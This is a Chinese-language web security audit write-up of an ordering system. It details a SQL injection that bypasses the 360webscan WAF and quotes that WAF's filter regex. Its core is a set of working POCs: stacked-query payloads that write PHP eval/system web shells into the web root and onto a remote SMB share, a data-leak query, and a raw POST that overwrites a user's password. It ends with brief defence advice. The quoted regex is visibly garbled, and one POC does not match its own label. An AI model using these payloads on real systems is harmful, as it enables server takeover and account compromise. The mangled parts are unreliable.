记一次某下单系统审计——前台注入突破360webscan限制getshell
字数 1608 2025-08-29 22:41:24
某下单系统审计:前台注入突破360webscan限制getshell技术分析
1. 前言与背景
本文记录了对某自主下单系统的安全审计过程,重点分析了前台SQL注入漏洞以及如何突破360webscan防护机制实现getshell的技术细节。
2. 系统概况
- 系统类型:自主下单系统
- 技术栈:PHP
- 防护机制:360webscan
- 数据库接口:PDO连接(支持多语句查询)
3. 漏洞发现过程
3.1 代码审计方法
- 使用PHPStorm进行静态代码分析
- 筛选前台文件(无后台鉴权)
- 搜索关键SQL操作方法:
getColumn()query()execute()
3.2 注入点定位
在getColumn()方法中发现漏洞:
// 漏洞代码片段
$sql = $_GET['sql']; // 直接获取用户输入
$result = $this->getColumn($sql); // 直接拼接执行
漏洞特征:
- 直接拼接用户输入到SQL语句
- 仅进行
$_GET['type']>=0的弱验证 - 无字符转义或类型转换
4. 360webscan防护机制分析
4.1 防护规则概述
360webscan对GET请求的过滤规则(关键部分):
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|d+data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\\s*sleep\\s*b(group_)?concat[\\s\\bcase[\\s\\/\\*]*?when[\\s\\load_file\\s*a-z]+?\\b[^>]*?\\bon([a-z]{4,})\\s*v(8|9)|\\b(and|or)\\b\\s*d]d]a-zA-Z]a-zA-Z]s+?[\\w]+?\\s+?\\bin\\b\\s*?\\(|\\blike\\b\\s+s*script\\b|\\bEXEC\\b|UNION.+?SELECT\\s*s*|@{1,2}.+?\\s*|\\s+s*)|UPDATE\\s*s*|@{1,2}.+?\\s*|\\s+s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}s+?.+?\\s+FROM(s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml)";
4.2 关键过滤规则解析
| 正则片段 | 匹配内容 | 防护目的 |
|---|---|---|
\b(and|or)\b |
AND, OR | 防止逻辑操作注入 |
UNION.+?SELECT |
UNION SELECT | 防止联合查询注入 |
benchmark\\s*? |
benchmark() | 防止时间盲注 |
sleep\\s*? |
sleep() | 防止时间盲注 |
(group_)?concat |
concat相关 | 防止数据拼接泄露 |
load_file\\s*? |
load_file() | 防止文件读取 |
EXEC |
EXEC | 防止命令执行 |
UPDATE\\s*.*SET |
UPDATE SET | 防止数据篡改 |
INSERT\\s+INTO |
INSERT INTO | 防止数据插入 |
5. 绕过技术分析
5.1 堆叠注入利用
关键突破点:
- PDO默认支持多语句查询
- 360webscan未过滤分号(;)和多语句执行
- 未限制
INTO OUTFILE操作
绕过方法:
- 使用分号分隔语句,避免直接使用UNION SELECT
- 利用PDO的多语句执行特性
5.2 有效POC示例
- 基础注入测试:
?type=1&sql=1;SELECT SLEEP(5)--
- 文件写入getshell:
?type=1&sql=1;SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'--
- 替代concat的数据泄露:
?type=1&sql=1;SELECT REPLACE(REPLACE('"1","2"','"1"',USER()),'"2"',DATABASE())--
5.3 数据带外技术
- 将查询结果写入远程共享:
?type=1&sql=1;SELECT '<?php echo system($_GET["cmd"]);?>' INTO OUTFILE '\\\\192.168.1.100\\share\\shell.php'--
- Linux环境下写入远程服务器:
?type=1&sql=1;SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/test.php'--
6. 后台白名单绕过注入
6.1 白名单接口发现
360webscan配置中存在白名单接口:
// 白名单配置示例
$webscan_white_url = array("shopedit.php?act=edit_submit");
6.2 白名单接口注入
shopedit.php中的edit_submit接口漏洞:
$cid = $_POST['cid']; // 直接获取用户输入
$sql = "UPDATE table SET field='value' WHERE cid=".$cid; // 直接拼接
$db->query($sql); // 执行
利用方法:
- 构造恶意POST请求
- 绕过前端验证直接访问白名单接口
6.3 白名单注入POC
POST /shopedit.php?act=edit_submit HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
cid=1;UPDATE users SET password=MD5('hacked') WHERE id=1--
7. 防御建议
-
输入验证:
- 对所有用户输入进行严格类型检查
- 使用白名单验证而非黑名单
-
SQL防护:
- 使用预处理语句(Prepared Statements)
- 禁用PDO的多语句查询功能
-
360webscan配置:
- 定期更新过滤规则
- 谨慎设置白名单接口
- 对白名单接口实施额外安全措施
-
文件系统防护:
- 限制Web服务器的写入权限
- 禁用
INTO OUTFILE功能
-
监控与日志:
- 记录所有数据库查询
- 监控异常查询模式
8. 总结
本案例展示了:
- 如何通过代码审计发现SQL注入漏洞
- 分析商业WAF(360webscan)的防护机制
- 利用PDO特性和规则遗漏实现绕过
- 通过堆叠注入实现文件写入getshell
- 利用白名单接口进行二次注入
此案例强调了纵深防御的重要性,单一防护措施容易被绕过,需要多层安全防护才能有效保障系统安全。